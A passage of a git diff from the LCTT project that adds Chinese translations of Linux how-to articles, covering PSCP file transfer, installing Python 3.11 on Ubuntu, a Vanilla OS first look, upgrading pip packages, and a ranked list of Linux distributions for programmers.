程序可以轻松传输文件和文件夹,当然它是开源的。 + +### 在 Windows 中设置 PATH + +了解如何在 Windows 中设置命令路径可以更轻松地使用 PSCP 等方便的程序。如果你不熟悉该过程,请阅读 [如何在 Windows 上设置 PATH][1]。 + +### 使用 PSCP + +PSCP(PuTTY 安全复制协议)是一个命令行工具,用于将文件和文件夹从 Windows 计算机传输到 Linux 计算机。 + +- 从 [网站][2] 下载 `pscp.exe`。 +- 将 `pscp.exe` 移动到 `PATH` 中的文件夹(例如,如果你按照 [Opensource.com][3] 上的 PATH 教程进行操作,则为 `Desktop\App`)。如果你没有设置 `PATH` 变量,你也可以将 `pscp.exe` 移动到保存要传输的文件的文件夹中。 +- 使用 Windows 任务栏中的搜索栏在 Windows 计算机上打开 Powershell(在搜索栏中输入 `powershell`。) +- 输入 `pscp -version` 以确认你的计算机可以找到该命令。 + +### IP 地址 + +在进行传输之前,你必须知道目标计算机的 IP 地址或完全限定域名。假设它是同一网络上的计算机,并且你没有运行 DNS 服务器来解析计算机名称,你可以在 Linux 机器上使用 `ip` 命令找到目标 IP 地址: + +``` +[linux]$ ip addr show |grep 'inet ' +inet 127.0.0.1/8 scope host lo +inet 192.168.1.23/24 brd 10.0.1.255 scope global noprefixroute eth0 +``` + +在所有情况下,127.0.0.1 都是计算机仅用于与自身通信的环回地址,因此在此示例中,正确的地址是 192.168.1.23。在你的系统上,IP 地址可能不同。如果你不确定哪个是哪个,你可以连续尝试每个,直到找到正确的(然后在某处写下来!) + +或者,你可以查看路由器的设置,其中列出了通过 DHCP 分配的所有地址。 + +### 防火墙和服务器 + +`pscp` 命令使用 OpenSSH 协议,因此你的 Linux 计算机必须运行 OpenSSH 服务器软件,并且防火墙必须允许 SSH 流量。 + +如果你不确定你的 Linux 机器是否正在运行 SSH,请在 Linux 机器上运行以下命令: + +``` +[linux]$ sudo systemctl enable --now sshd +``` + +要确保你的防火墙允许 SSH 流量,请运行以下命令: + +``` +[linux]$ sudo firewall-cmd --add-servicessh --permanent +``` + +有关 Linux 上的防火墙的更多信息,请阅读 [使用防火墙使 Linux 更强大][4]。 + +### 传输文件 + +在这个例子中,我有一个名为 `pscp-test.txt` 的文件,我想将它从我的 Windows 计算机上的 `C:\Users\paul\Documents` 传输到我的目标 Linux 计算机主目录 `/home/paul`。 + +现在你已经有了 `pscp` 命令和目标地址,你可以传输测试文件 `pscp-test.txt`。打开 Powershell 并使用 `dir` 命令切换到示例文件所在的 `Documents` 文件夹: + +``` +PS> dir %USERPROFILE%\Documents\ +``` + +现在执行传输: + +``` +PS> pscp pscp-test.txt paul@192.168.1.23:/home/paul +| Password: +End of keyboard-interactive prompts from server +pscp-test.txt | 0 kb | 0.0 kB/s | ETA: 00:00:00 | 100% +``` + +这是语法,逐字逐句来: + +- `pscp`:用于传输文件的命令。 +- `pscp-test.txt` 是你要从 Windows 传输的文件的名称。 +- `paul@192.168.1.23` 是我在 Linux 计算机上的用户名,以及 Linux 计算机的 IP 地址。你必须将其替换为你自己的用户和目的地信息。请注意,`pscp` 需要目标计算机上的目标路径,而 IP 地址末尾的 `:/home/paul` 指定我希望将文件复制到我的主文件夹。 + +对 Linux 计算机进行身份验证后,`pscp-test.txt` 文件将传输到 Linux 计算机。 + +### 验证已传输 + +在你的 Linux 计算机上,打开终端并使用 `ls` 命令验证文件 `pscp-test.txt` 是否出现在你的主目录中。 + +``` +[linux]$ ls +Documents +Downloads +Music +Pictures +pscp-test.txt +``` + +### 从 Linux 系统复制文件 + +你不仅限于将文件复制到 Linux 系统。使用 `pscp`,你还可以将文件从 Linux 复制到 Windows。语法是一样的,只是反过来: + +``` +PS> pscp paul@192.168.1.23:/home/paul/pscp-test.txt %USERPROFILE%\Documents\pscp-win.txt +``` + +这是语法: + +- `pscp`:用于传输文件的命令。 +- `paul@192.168.1.23:/home/paul/pscp-test.txt` 是我在 Linux 计算机上的用户名、Linux 计算机的 IP 地址,以及我要复制的文件的路径。 +- `%USERPROFILE%\Documents` 是我的 Windows 计算机上我要保存文件的位置。 请注意,在将文件复制回我的 Windows 计算机时,我可以给它一个新名称,例如 `pscp-win.txt`,以区别于原始文件。 当然,你不必重命名文件,但对于本演示来说,它是一个有用的快捷方式。 + +打开文件管理器以验证 `pscp-win.txt` 文件是否已从 Linux 计算机复制到 Windows `C:\Users\paul\Documents` 下。 + +![Image of a file manager.][5] + +### 远程复制 + +借助开源 `pscp` 命令的强大功能,你可以访问家中的任何计算机、拥有帐户的服务器,甚至是移动设备和 [边缘设备][6]。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/10/transfer-files-windows-linux-pscp + +作者:[Paul][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/plaubscher +[b]: https://github.com/lkxed +[1]: https://opensource.com/article/22/10/set-path-powershell +[2]: https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html +[3]: http://Opensource.com +[4]: https://opensource.com/article/19/7/make-linux-stronger-firewalls +[5]: https://opensource.com/sites/default/files/2022-10/Filemanager.pscp_.png +[6]: https://opensource.com/tags/edge-computing diff --git a/published/202211/20221026.4 ⭐️ How to Install Python 3.11 in Ubuntu and Other Related Linux.md b/published/202211/20221026.4 ⭐️ How to Install Python 3.11 in Ubuntu and Other Related Linux.md new file mode 100644 index 0000000000..737ddc6a0e --- /dev/null +++ b/published/202211/20221026.4 ⭐️ How to Install Python 3.11 in Ubuntu and Other Related Linux.md @@ -0,0 +1,142 @@ +[#]: subject: "How to Install Python 3.11 in Ubuntu and Other Related Linux" +[#]: via: "https://www.debugpoint.com/install-python-3-11-ubuntu/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15230-1.html" + +如何在 Ubuntu 等 Linux 中安装 Python 3.11 +====== + +> 打算为你的项目开发工作安装 Python 3.11?下面是如何在 Ubuntu 等发行版中安装 Python 3.11 的方法。 + +![][1] + +Python 3.11 于 2022 年 10 月 25 日发布,并声称比之前的 [Python 3.10][2] 版本快 10% - 60%。 + +一如既往,3.11 中的功能和改进列表明显较多。下面是一个简介: + +- 错误回溯更明确,可以指出导致错误的确切语句。 +- 引入异常组和新的 except* 语法。 +- 你可以在基础表达式中添加自定义文本,以便在你的代码中更好地处理错误。 +- 引入 Variadic 泛型,允许在 Python 数值库(如 NumPy)中使用类似数组的结构。 +- 字典类型 TypedDict 得到了改进,现在你可以指定个别字典项目是必须的还是可选的。 +- 引入了 Self 注解,允许类返回它们自己的类型实例。 + +还有很多,你可以在官方的 [3.11 亮点页面][3] 上详细了解。 + +### Linux 发行版中的当前 Python 版本 + +[Ubuntu 22.04 LTS][4] 带有 Python 3.10,而最近发布的 [Ubuntu 22.10 Kinetic Kudu][5] 也是同样的版本。然而, Kinetick Kudu 可能会在几周内采用 3.11。 + +另外,[Fedora 37][6] 已经有了 Python 3.11 RC2,并将提供该版本。 + +所以,如果你正在运行 Ubuntu 22.04 LTS、[Linux Mint 21][7] 或任何基于 Ubuntu-LTS 的发行版,这里是你如何通过 PPA 安装 Python 3.11 的方法。 + +**注意**:谨慎地使用这个方法。确保你知道你在做什么,因为替换 Linux 发行版的基础 Python 版本可能会导致系统不稳定。许多默认的应用程序和软件包都依赖于 3.10 版本。 + +### 如何在 Ubuntu 和相关发行版中安装 Python 3.11 + +打开终端提示,添加以下 PPA: + +``` +sudo add-apt-repository ppa:deadsnakes/ppa +``` + +使用下面的命令刷新缓存: + +``` +sudo apt update  +``` + +并使用下面的命令安装 Python 3.11: + +``` +sudo apt install python3.11 +``` + +![在 Ubuntu 22.04 LTS 中安装 Python 3.11][8] + +### 设置默认的 Python 版本 + +理论上,你可以在 Linux 发行版中安装多个版本的 Python,但只能默认一个版本。将 Python 3.11 设置为默认版本需要一些额外的步骤。请跟我做。 + +然而,在这之前,请确保你知道哪些应用程序依赖于 Python 3.10。你可以使用 `apt-cache rdepends` 命令轻松地找到它,如下所示: + +``` +debugpoint@debugpoint-22-04:~$ apt-cache rdepends python3.10 +python3.10 +Reverse Depends: +python3.10-dbg +python3.10-venv +python3.10-full +libpython3.10-testsuite +idle-python3.10 +idle-python3.10 +python3.10-minimal +python3.10-doc +python3.10-dev +python3 +[截断] +python3 +python3-uno +python3-all +gedit +``` + +#### 使用 Python 3.11 作为默认的 Python3 + +首先,从终端使用以下命令检查当前的默认版本: + +``` +python3 --version +``` + +使用 `update-alternatives` 来创建 `python3` 的符号链接: + +``` +sudo update-alternatives --install /usr/bin/python3 python3 /usr/bin/python3.10 1 +``` + +``` +sudo update-alternatives --install /usr/bin/python3 python3 /usr/bin/python3.11 2 +``` + +并通过命令选择哪一个作为 Python3 使用: + +``` +sudo update-alternatives --config python3 +``` + +![设置默认的 Python 版本为 3.11][9] + +现在你可以开始在你当前的 Ubuntu 版本中使用最新的 Python 来进行工作/学习了。你可以使用上述命令切换到库存版本,并随时改变版本。 + +如果你使用上述安装方法切换到 3.11,那么请确保你检查所有必要的应用程序,看它们是否工作正常。 + +最后,如果你遇到问题,请在评论区告诉我。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/install-python-3-11-ubuntu/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2022/10/py3112204-1024x576.jpg +[2]: https://www.debugpoint.com/install-python-3-10-ubuntu/ +[3]: https://docs.python.org/3.11/whatsnew/3.11.html +[4]: https://www.debugpoint.com/ubuntu-22-04-review/ +[5]: https://www.debugpoint.com/ubuntu-22-10/ +[6]: https://www.debugpoint.com/fedora-37/ +[7]: https://www.debugpoint.com/linux-mint-21-review/ +[8]: https://www.debugpoint.com/wp-content/uploads/2022/10/Install-Python-3.11-in-Ubuntu-22.04-LTS.jpg +[9]: https://www.debugpoint.com/wp-content/uploads/2022/10/Setting-up-default-python-version-to-3.11.jpg diff --git a/published/202211/20221026.5 ⭐️ Vanilla OS More Than Just Vanilla GNOME With Ubuntu.md b/published/202211/20221026.5 ⭐️ Vanilla OS More Than Just Vanilla GNOME With Ubuntu.md new file mode 100644 index 0000000000..21a78e56a3 --- /dev/null +++ b/published/202211/20221026.5 ⭐️ Vanilla OS More Than Just Vanilla GNOME With Ubuntu.md @@ -0,0 +1,136 @@ +[#]: subject: "Vanilla OS: More Than Just Vanilla GNOME With Ubuntu" +[#]: via: "https://news.itsfoss.com/vanilla-os-beta/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15203-1.html" + +Vanilla OS:不只是原味 GNOME 的 Ubuntu +====== + +> Vanilla OS 是建立在 GNOME 上的、具有按需不变性和软件包选择自由的 Ubuntu。听起来很有趣?在这里阅读更多信息。 + +![Vanilla OS:不仅仅是原味 GNOME 的 Ubuntu][1] + +这正是我第一次接触 Vanilla OS 时的想法。 + +当 [Bottles][2] 的创建者 **Mirko Brombin** 在 Twitter 上宣布它时,让我对它产生了兴趣 😎。 + +我加入了他们的 Discord 频道并成为了一名测试者。虽然我没有做出什么贡献,但关注项目发展是很有趣的。 + +回到至关重要的问题上:**什么是 Vanilla OS?** + +**Vanilla OS 的目标是提供一个干净、原味的 GNOME 体验,并具有按需不变性的能力。** + +听起来很有趣?让我告诉你我试了试它的第一个开放测试版本后的一些细节。 + +> 💡 Vanilla OS 计划在 11 月有一个稳定的版本。 +> +> 它将跟随 Ubuntu 的小版本发布。 +> +> 因此,你可以期待每年发布**两个版本**。例如,你可以从 Ubuntu 22.04 升级到 Ubuntu 22.10 甚至更之后的版本。 +> +> 除非你知道自己在做什么,否则你不应该把它作为日常系统来使用。 + +### Vanilla OS:又一个基于 Ubuntu 的发行版? + +![vanilla os home][3] + +**是,也不是**。 + +对于初学者来说,我认为有以下独特的理由可以尝试一下: + +- 在 Ubuntu 之上获得 **原装 GNOME 体验**。(Fedora 也是一个很好的选择,但并不适合所有人!) +- 在其安装后的首次设置时,**允许你选择并启用 Flatpak/Snap/AppImage**。 +- **按需不变性**,意味着你可以使系统变成只读,以防止来自第三方应用程序和更新的关键变化。 +- **一个新的软件包管理器**(apx)允许你默认在管理的容器内安装软件包。 + +首次设置过程的体验很轻松。 + +> ℹ️ 目前,它使用 Calamares 安装程序。他们打算用 Crystal Linux 中使用的 Jade 取代它。 + +![Vanilla OS 安装程序][4] + +越来越多的发行版投身于此;我相信更多的用户会乐意加入到 Linux 中来。 + +![][5] + +*Vanilla OS 对软件包管理器的选择* + +当然,像 Ubuntu MATE 和 Pop!_OS 这样的发行版已经付出了巨大的努力,而 Vanilla OS 也为此增加了一些改进。 + +![Vanilla OS 颜色选择][6] + +这看起来是一种漂亮的体验!😊 + +一旦你完成了首次设置,你就没有什么可担心的了。你会得到通常的 GNOME 桌面,以及由 **Patrik Kramolis** 制作的漂亮的壁纸。 + +![Vanilla OS 主页][7] + +接下来,我试着检查了按需不变性,你可以用以下命令查看和调整: + +![Vanilla OS 终端][8] + +你可以在 [GitHub][9] 上了解更多这个(基本上)使之成为可能的工具。 + +接下来,看看新的软件包管理器,我喜欢 Distrobox 的底层概念,使其与 apx 成为可能。 + +Distrobox 的创建者 **Luca di Maio** 也参与了 Vanilla OS 的开发。 + +不过,当用 apx 安装一个软件包时,你需要用命令来初始化容器: + +``` +apx init +``` + +如果它能自动完成,那就更直观了。 + +![Vanilla OS apx][10] + +当然,我不知道技术上的限制。但是,对于用户端来说会感觉更顺滑! + +总的来说,一个利用容器安装应用程序的软件包管理器、获得选择你的软件包管理器的能力、按需不变性,以及原味的 GNOME 使它看起来是一个值得关注的好东西。 + +### 前面的路:第一印象 + +我觉得,一旦它进入稳定版,它就会成为我的日常使用系统。 + +**原因是**:我总是喜欢原装的 GNOME 体验,而且不需要处理 Fedora 的定期升级。 + +当然,等我使用了稳定版之后,我可以给你写一篇整体的用户体验评判。 + +在那之前,我想说这是一个我相信很多用户都会喜欢的项目 👏。 + +目前,你可以通过加入其 Discord 频道来下载 ISO。该 ISO 还没有公开向所有人提供。如果你感兴趣,可以看看它的 [文档][11]。 + +> **[Vanilla OS][12]** + +然而,按照路线图,他们计划很快就会有一个候选版本。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/vanilla-os-beta/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/10/first-look-at-vanilla-os.jpg +[2]: https://usebottles.com +[3]: https://news.itsfoss.com/content/images/2022/10/vanillaos.jpg +[4]: https://news.itsfoss.com/content/images/2022/10/vanillaos-installer.jpg +[5]: https://news.itsfoss.com/content/images/2022/10/choosing-package-vanillaos.png +[6]: https://news.itsfoss.com/content/images/2022/10/vanilla-os-first-setup.png +[7]: https://news.itsfoss.com/content/images/2022/10/vanillaos-wallpaper.jpg +[8]: https://news.itsfoss.com/content/images/2022/10/Screenshot-from-2022-10-25-12-54-29.png +[9]: https://github.com/Vanilla-OS/almost +[10]: https://news.itsfoss.com/content/images/2022/10/apx-install.jpg +[11]: https://documentation.vanillaos.org +[12]: https://vanillaos.org/roadmap diff --git a/published/202211/20221027.0 ⭐️ How to Upgrade Python Packages with Pip.md b/published/202211/20221027.0 ⭐️ How to Upgrade Python Packages with Pip.md new file mode 100644 index 0000000000..020249de97 --- /dev/null +++ b/published/202211/20221027.0 ⭐️ How to Upgrade Python Packages with Pip.md @@ -0,0 +1,110 @@ +[#]: subject: "How to Upgrade Python Packages with Pip" +[#]: via: "https://itsfoss.com/upgrade-pip-packages/" +[#]: author: "Sagar Sharma https://itsfoss.com/author/sagar/" +[#]: collector: "lkxed" +[#]: translator: "chai001125" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15224-1.html" + +使用 Pip 升级 Python 软件包 +====== + +![](https://img.linux.net.cn/data/attachment/album/202211/07/153408lqflbw3mwxja3qm4.jpg) + +你上次更新通过 Pip 安装的 Python 软件包是什么时候?大多数用户往往会忘记这些 Python 软件包也需要手动更新,因为仅仅更新系统存储库对于软件包来说是不起作用的。 + +因此,让我们花点时间看看如何使用 Pip,来更新旧的 Python 软件包吧。 + +### 如何使用 Pip 升级 Python 软件包 + +[Pip(Pip Installs Packages)][1] 是一个用于管理 Python 软件包的 命令行实用程序 command line utility 。你可以将 Pip 安装 Python 软件包,类比为在 Ubuntu 和 Debian 中使用 `apt` 管理软件包那样。 + +因此,接下来就让我们深入了解如何使用这个极好的工具 Pip,来管理与 Python 软件包相关的内容吧。 + +#### 1、列出过时的 Python 软件包 + +在计划更新什么软件包之前,我们先要列出有哪些过时的软件包,你可以在其中选择想要更新的软件包,因为大多数人不会想一下子更新整个软件包库。 + +要列出过时的 Python 软件包,你只需将 `pip` 命令与 `list` 选项、`--outdated` 标志一同使用即可,如下图所示: + +``` +pip list --outdated +``` + +![outdated packages][2] + +#### 2、升级特定的软件包 + +获得可更新的软件包列表后,你可以像我之前提到的那样,选择你要更新的那个特定的软件包,pip 升级软件包命令的语法如下: + +``` +pip install package_name -U +``` + +例如,我想将名为 `anime-api` 的软件包升级到最新版本,所以我将使用下面的命令来升级: + +``` +pip install anime-api -U +``` + +![update anime api][3] + +#### 3、将软件包升级到特定的版本 + +没有必要总是使用软件的最新版本,如果你想将软件包升级到不是最新的某个特定版本,参考如下的命令语法: + +``` +pip install --upgrade == +``` + +例如,我想将名为 `xdg` 的软件包更新到 5.1 版本,5.1 版本是最新版本的前一个版本,所以可以使用以下命令: + +``` +pip install --upgrade xdg==5.1 +``` + +![upgrade xdg to specific iteration][5] + +#### 4、使用 Pip 一次性升级所有软件包 + +**请注意:我不建议你一次性升级所以软件包,因为 Python 软件包的依赖项太复杂了,一次性的升级无法处理相互依赖项。** + +要一次性升级所有 python 软件包,你可以使用以下命令: + +``` +pip3 list --outdated --format=freeze | grep -v '^\-e' | cut -d = -f 1 | xargs -n1 pip3 install -U +``` + +![upgrade everything][6] + +上面的命令使用了 [xargs][7]。首先,会得到所有需要更新的软件包,然后对每个软件包执行 `pip3 install -U` 命令。 + +我在这里使用的是 `pip3`,而不是 `pip`。在 Ubuntu 22.04 及更高的版本中,`pip` 和 `pip3` 命令都可以使用。 + +### 总结 + +使用 Pip 一次性更新所有 Python 软件包并不是一个好主意。我发现一次性更新后,软件包之间的依赖关系被破坏了,所以请确保只更新你想要更新的软件包。 + +如果你还有其他的疑问,就请在评论区中留言吧。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/upgrade-pip-packages/ + +作者:[Sagar Sharma][a] +选题:[lkxed][b] +译者:[chai001125](https://github.com/chai001125) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/sagar/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/install-pip-ubuntu/ +[2]: https://itsfoss.com/wp-content/uploads/2022/09/outdated-packages.png +[3]: https://itsfoss.com/wp-content/uploads/2022/09/update-anime-api.png +[4]: https://www.debian.org/ +[5]: https://itsfoss.com/wp-content/uploads/2022/09/upgrade-xdg-to-specific-iteration.png +[6]: https://itsfoss.com/wp-content/uploads/2022/09/upgrade-everything.png +[7]: https://linuxhandbook.com/xargs-command/ diff --git a/published/202211/20221027.6 ⭐️⭐️ Top 10 Linux Distributions for Programmers in 2022 [Featured].md b/published/202211/20221027.6 ⭐️⭐️ Top 10 Linux Distributions for Programmers in 2022 [Featured].md new file mode 100644 index 0000000000..82419d578b --- /dev/null +++ b/published/202211/20221027.6 ⭐️⭐️ Top 10 Linux Distributions for Programmers in 2022 [Featured].md @@ -0,0 +1,225 @@ +[#]: subject: "Top 10 Linux Distributions for Programmers in 2022 [Featured]" +[#]: via: "https://www.debugpoint.com/top-linux-distributions-programmers-2022/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15275-1.html" + +适合程序员的十大 Linux 发行版(2022 版) +====== + +![](https://img.linux.net.cn/data/attachment/album/202211/21/153625z44s41qcviv5ckip.jpg) + +> 我们点评了为程序员和开发人员提供的十大最佳 Linux 发行版(2022 版),以帮助他们完成工作和个人项目。 + +程序员和开发人员在其工作或项目中会使用各种工具和应用程序,包括代码编辑器、编程语言编译器、附加组件、数据库等。如果你对现代开发者的工作流程进行分类,它包含以下典型的工作流程: + +- 访问代码库 +- 编程 +- 调试 +- 测试 +- 部署 + +而这种典型的工作流程可能需要各种工具。一个标准的清单可能是这样的: + +- 代码编辑器 +- 简单的文本编辑器 +- 网页浏览器(网页开发者需要所有变体) +- 数据库引擎 +- 一个本地服务器 +- 编程语言相应的编译器 +- 调试器 +- 监测或剖析工具(可执行文件或网络版) + +可以说,与 Windows 相比,Linux 是编程的最佳选择。(出于几个原因,我在本文中不对 macOS 进行比较。)Linux 是最佳选择的主要原因是,与 Windows 相比,在 Linux 发行版中已经预装具有现代技术的软件包和应用程序,或非常容易安装。 + +因此,在这篇文章中,我们想列出 2022 年最适合程序员的 Linux 发行版。 + +### 2022 年适合程序员的十大 Linux 发行版 + +#### 1、Fedora Workstation + +![Fedora 35 Workstation][1] + +也许这个名单中最完美的 Linux 发行版是 Fedora Linux。它用于桌面的默认 Workstation 版通过其选择的软件包带来了正宗的 GNOME 桌面体验。 + +Fedora Linux 的默认安装为你提供了所有主要的开发包,开箱即用。它们包括 PHP、OpenJDK、PostgreSQL、Django、Ruby on Rails、Ansible 等。 + +通过 dnf 软件包管理器安装更多的应用程序是非常简单的,如 VS Code 编辑器和其他软件包。你也可以借助“软件Software”应用来安装,这是一个应用商店,你只需点击一个按钮就可以搜索和安装应用程序。 + +Fedora Linux 支持 Snap 和 Flatpak,这给了你更多的灵活性。你也可以利用 Fedora 中的 RPM Fusion 仓库,这个仓库让你可以访问许多自由和非自由的软件包。由于许可证和其他明显的原因,Fedora Linux 不想在他们的主仓库中包括这些包。 + +你可以在下面的官网上查看最新的 Fedora Linux。 + +> **[下载 Fedora][2]** + +#### 2、Ubuntu Linux + +![Ubuntu 桌面是一个适合程序员的完美的Linux发行版][3] + +本列表中的第二个 Linux 发行版是 Ubuntu Linux。Ubuntu Linux 是目前在服务器和桌面上使用最多的 Linux 发行版。Ubuntu 提供长期支持(LTS)版本,有五年的官方支持(另外还有五年的维护支持),期间还有短期支持版本供高级用户使用。 + +由于它很流行,所有最新的软件包和应用程序供应商都提供 Ubuntu(.deb)版本。因其流行,也带来了论坛和文档的大量支持,这对开发者来说是完美的,特别是当你在开发阶段被错误困住的时候。在下面的链接中了解更多关于 Ubuntu 的信息。 + +> **[下载 Ubuntu][4]** + +#### 3、openSUSE + +openSUSE 是全球在关键系统中使用的最稳定和最专业的 Linux 发行版之一。这个 Linux 发行版是企业级工作负载的首选解决方案之一,包括台式机、服务器和瘦客户机。 + +它比 Ubuntu 和 Fedora 有一些优势。首先,它有两个变种:Leap 和 Tumbleweed。openSUSE Leap 是一个长期支持版本(LTS),提供最新的稳定性。openSUSE Tumbleweed 是一个滚动发布的软件,提供尖端的软件包。 + +如果你的开发需要最新的软件包和硬件支持,那么 Tumbleweed 就是你的选择。如果你需要稳定性和一个运行时间较长、维护量较小的系统,请选择 openSUSE Leap。 + +使用 openSUSE 进行开发工作的优势之一是其软件包管理器 YaST。使用 YaST 软件包管理器,你可以轻松地将许多事情自动化。 + +除此之外,openSUSE 的软件交付方式也很出色。它的软件门户在网上,你可以访问它,搜索一个软件包,然后点击安装。 + +如果与新用户相比,你对 Linux 有一定的经验,请选择 openSUSE 进行开发工作。 + +> **[下载 openSUSE][5]** + +#### 4、Manjaro Linux + +Manjaro Linux 是一个基于 Arch Linux 的发行版,它使 Arch 的安装变得简单。它基于 Arch Linux,但带来了一些功能,如像 Ubuntu 或 Linux Mint 那样的图形化安装程序、 pamac 安装程序、精心策划的软件仓库等。Manjaro 有三种主要的桌面风格:GNOME、KDE Plasma 和 Xfce,可以满足几乎所有用户的需求。 + +如果你想用 Arch Linux 和它的滚动发布包来满足你的开发需求,但又不想陷入安装原生 Arch 的麻烦,Manjaro 是你的完美选择。 + +> **[下载 Manjaro][6]** + +#### 5、Arch Linux + +虽然 Manjaro 和其他基于 Arch 的易于安装的 Linux 发行版已经出现,但你可能还是想用 [原生 Arch][7] 来亲手定制你的桌面。 + +这更多的是针对那些想要更多控制权和为项目或需求建立自定义 Linux 操作系统的资深开发者或程序员。在这些情况下,你可能想用你最喜欢的桌面安装 Arch Linux 来设置你的开发操作系统。 + +假设你对 Arch Linux 和计算机有一定的经验。在这种情况下,这是所有选择中最好的,因为它可以让你完全控制定制的 Linux 操作系统中的每个软件包。 + +> **[下载 Arch Linux][8]** + +#### 6、Pop OS + +Pop OS(写作 Pop!_OS )是由计算机制造商 System76 为其系列硬件开发的。Pop OS 是自由开源的,基于 Ubuntu。它遵循 Ubuntu 的发布周期,同时带来额外的调整,以及为用户定制的软件包。 + +![Pop OS 21.10 桌面 Linux 发行版][9] + +Pop OS 是程序员的完美选择,因为它原生支持许多 Ubuntu 支持的编程语言。它因其打造的软件中心而在计算机科学家和程序员中广受欢迎,该软件中心有一个专门的部分介绍开发和编程的应用程序。 + +除此之外,Pop OS 中的 COSMIC 桌面(一个定制的 GNOME 桌面)为程序员提供了独特的体验,包括自动平铺、可爱的调色板、原生的深色模式和丰富的设置。 + +如果你需要一个基于 Ubuntu、稳定的、并对程序员友好的 Linux 发行版,那么请选择 Pop OS。 + +> **[下载 POP OS][10]** + +#### 7、KDE Neon + +如果你是一个很习惯 KDE Plasma 桌面的开发者,并且想要一个基于 Qt 的开发环境,那么 KDE Neon 就非常适合你。 + +KDE Neon 是一个基于 Ubuntu LTS 版本的 Linux 发行版,带有最新的 KDE Plasma 桌面和 KDE 框架包。因此,在 KDE Neon 中,你可以得到 Ubuntu LTS 的稳定性和带有 Qt 的最新 KDE 软件包。 + +如果你需要一个拥有开箱即用的应用程序的快速系统、一个友好的用户界面和巨大的社区支持,这是一个完美的 Linux 发行版。 + +> **[下载 KDE Neon][11]** + +#### 8、Debian + +Debian GNU/Linux 无需介绍。Debian 的稳定分支是 Ubuntu 及其所有衍生品的基础。因此,它是主要和稳定的 Linux 之一。它是你的开发环境的完美选择,因为它为你提供了终极稳定性和多年的支持。 + +不过,Debian 的稳定分支在采用最新软件包方面略显保守。Debian 的维护者会仔细检查和合并软件包,因为整个世界(嗯,几乎)都依赖于 Debian 的稳定性。 + +对于高级用户和系统管理员来说,如果你想要一个稳定的、长期运行的开发环境,并且维护工作量较少,那么它是一个完美的编程环境。 + +> **[下载 Debian Linux][12]** + +#### 9、Kali Linux + +Kali Linux 是由 Offensive Security 开发的,主要针对寻找网络漏洞的道德黑客和渗透测试人员。它预装了大量的黑客工具和应用程序。 + +如果你有足够的经验,它可以成为程序员和开发人员的一个完美的 Linux 发行版。如果你对 Linux 很熟悉,并且在处理错误和依赖关系方面有一定的经验,就可以选择 Kali Linux。 + +> **[下载 Kali Linux][13]** + +#### 10、Fedora 实验室 + +而这个名单上的最后一个 Linux 发行版是 Fedora Linux 的发行版组合。 + +Fedora 实验室Labs为程序员、科学家和学生提供了专门策划的 Linux 发行版,并预装了应用程序、相应的软件包和实用程序。很多人都不知道这些,如果配置得当,它们可以作为完美的现成 Linux 发行版为你服务。 + +下面是对它们的总结: + +**Fedora 科学** + +- 科学和数值开源工具与 KDE Plasma 桌面的结合 +- 应用列表包括: + - 用于 C/C++ 的 GNU 科学库 + - 与 MATLAB 兼容的 MGNU Octave + - LaTeX + - Maxima 计算机代数系统 + - 用于绘制二维和三维图形的 Gnuplot + - 用于数据科学的 Pandas Python 库 + - IPython + - 用于 Java 和 R 编程语言的软件包 +- 关于 Fedora 科学,[在此下载][14] 和了解更多。 + +**Fedora 计算神经科学** + +- 带有 GNOME 桌面环境的开源神经科学应用程序和软件包。 +- 了解更多并 [在此下载][15]。 + +**Fedora 机器人套件** + +- 这个完美的 Linux 发行版结合了最好的开源机器人应用程序和软件包,针对初级和经验丰富的机器人科学家和程序员。 +- 了解更多并 [在此下载][16]。 + +来自 Fedora Linux 的**其他解决方案**包括 [Fedora 安全实验室][17]、[Fedora 天文学][18] 和 [Fedora Python 教室][19],你或许想看看这些解决方案。 + +这些 Fedora 实验室选项可以成为编程项目或在特定科学领域工作的完美 Linux 发行版。 + +### 总结 + +那么,你如何在这份最适合程序员的 Linux 发行版名单中选择你的最爱? + +如果你不确定,并希望以最小的努力来建立和运行一个开发系统,那就选择 Fedora Workstation 或 Ubuntu。 + +如果你有空闲时间,或者想对你的系统有更多的控制,喜欢做实验,对偶尔出现的错误也不在意,那么就选择基于 Arch Linux 的系统。 + +对于刚进入 Linux 生态系统的新开发者来说,Pop OS 也是一个不错的选择。对于特定的需求,请到 Fedora 